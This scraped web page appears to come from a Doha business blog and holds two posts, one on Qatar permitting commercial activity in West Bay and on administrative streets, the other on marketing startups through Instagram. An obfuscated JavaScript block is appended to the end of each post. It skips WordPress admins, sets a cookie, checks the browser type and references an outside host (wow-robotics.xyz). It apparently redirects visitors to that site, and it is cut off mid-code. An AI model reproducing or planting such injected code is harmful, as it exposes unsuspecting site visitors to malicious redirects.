26

Oct
2019

More commercial activities to be allowed in a number of Doha areas

More commercial activities to be allowed in a number of Doha areas

   HE the Prime Minister and Interior Minister Sheikh Abdullah bin Nasser bin Khalifa al-Thani has issued a decision allowing commercial activities that support the diversity needed to develop investment and support investors, in the framework of the government’s keenness on strengthening partnership between the public and private sectors and the participation of the private sector in the economic development projects in the country.    The decision included allowing commercial activities in areas and streets in the State, namely the administrative towers area (West Bay Area), the administrative streets in the State (14 administrative streets and offices) and malls.     The decision complements the previous decisions of HE the Prime Minister to support investment. The Ministerial Group for the Encouragement and Participation of the Private Sector in Economic Development Projects of Qatar chaired by HE the Prime Minister approved the recommendations submitted by the Ministry of Municipality and Environment (MME) and the Ministry of Commerce and Industry (MoCI) to encourage more private sector participation in Qatar’s economic development.     This was announced yesterday during a panel discussion attended by Turki Fahad al-Turki, assistant director of the Urban Planning Department at the MME; Juma Sabah Juma, head of Urban Design Department at the Department of Urban Planning; and Eng Khalid bin Joma al-Marzouqi, the MME’s head of Building Permits Complex, on the sidelines of Cityscape Qatar 2019.    According to the panel, the recommendations include allowing the conduct of many vital business activities that support the diversity needed to develop investment and support investors. These recommendations include allowing commercial uses within the administrative towers area in West Bay; educational activities, such as colleges, institutes, and nurseries in the towers area; and medical activities, such as primary healthcare centres, diagnostic and treatment centres, and clinics.     Speaking to reporters on the sidelines of the panel discussion, Juma said the move aims to transform West Bay into a retail hub by increasing footfall in the area. He said developers are also encouraged to submit their designs for approval from authorities. “This will also add value to the properties in the West Bay area, which is most active from 7am to 2pm; and it will also encourage more people to go there, especially after office hours,” Juma said. As part of adopting the recommendations, 27 commercial activities were permitted within the administrative streets approved in the country.     These are Al Muntazah Street, Halul Street, Ali Bin Ali Taleb Street, Corniche Road, Al Jazeera Al Arabiya Street, C-Ring Road, D-Ring Road, Prince Street, Al Rawabi Street, Jaw’aan Street, Ibn Sina Street, Al Markhiya Street, Al Rayyan Street, Rawdat Al Khail Street. Various administrative activities were also permitted within the malls, including the establishment of medical centres, cultural services, and offices. For interested parties, alMarzouq said the MME has an online system to process requests for the necessary permits needed to participate in these projects.     Ref: Gulf Times (24th October, 2019)  var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c


05

Apr
2017

Promoting startups in Doha using Instagram

Promoting startups in Doha using Instagram

The world is indeed a global village and at no point in human history have people been this connected. We have seen communication taken to a whole new level with the internet changing the way businesses are conducted today. Social media is not left out; people can now share; news, life experiences, pictures on the go and get feedback instantly. It is against this backdrop that businesses too are on social media. If any business wants to be taken seriously in Doha or the GCC and is not on social media, that company is missing out on quite a lot. Today, Instagram is one of the most popular and fruitful methods of marketing your businesses in Doha. Interestingly, if you look at Doha- Based Instagram accounts, you will find mostly; fashion, beauty, event, and food- related companies. This is like Doha’s alternative to online shopping as these businesses mentioned above engage actively with their customers on their page; such that they receive orders, process orders, resolve customers complaint by direct messaging through; WhatsApp, email, or through Instagram itself. Consequently, if you are in the related industry and want to be taken seriously while doing business in Doha, you too can ride the tide, promote, market and give your product the visibility it needs, by being where the customers are. The following reasons are why you should have an Instagram plan for your business in Doha; Easy to use Because of the efficient layout, Instagram stands out in reaching out to your audience. Its unique feature of sharing attractive photos with captivating captions and searchable hashtag cannot be ignored. Along with the ability to customize and make photos more appealing, Instagram is the perfect social media platform that easily grants businesses the visibility and exposure they sought after in the Doha’s business world. Gives your Business exposure Do you want the world to know your product and be acquainted with your business? Then don’t hesitate to be on Instagram. The worldwide number of active users on Instagram stands at 400 million, with the latest survey carried out in 2016 by Northwestern University in Qatar showing that half of this users resides in the Arab world and Qatar accounting for the most Instagram users in the Arab world, this exposure will benefit your business in no small way. Improves Business Growth The information age has changed the growth curve of companies. Do you know that your business can become an instant household name in a short while if you just pay a little more attention? With a good picture of your product, a visually engaging image of your business, a smartphone, and an Instagram account you are well on your way to building an extraordinary business legacy in Doha. At the just concluded Qatar International Food Festival and Doha's Magical Festival Village, the popular Instagram businesses acquired vendor status at these festivals and enjoyed, even more, exposure from different audiences. How Startups can use Instagram ? Finally, if you own a startup, breaking the barriers to entry into the market has never been easier, in order to promote your business, create an Instagram account for your business, generate a large following, and share excellent content that is appealing to your followers. People will always follow people so you can start with your Facebook friends, get them to like your postings on Instagram, then with time and through word of mouth, you will garner followership. As you share content, be creative about it, learn to use catchy hashtags, and soon you will be trending and attract huge followership. As you do, engage your followers,  and before you know it, your business is up there, where you want it to be.var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c



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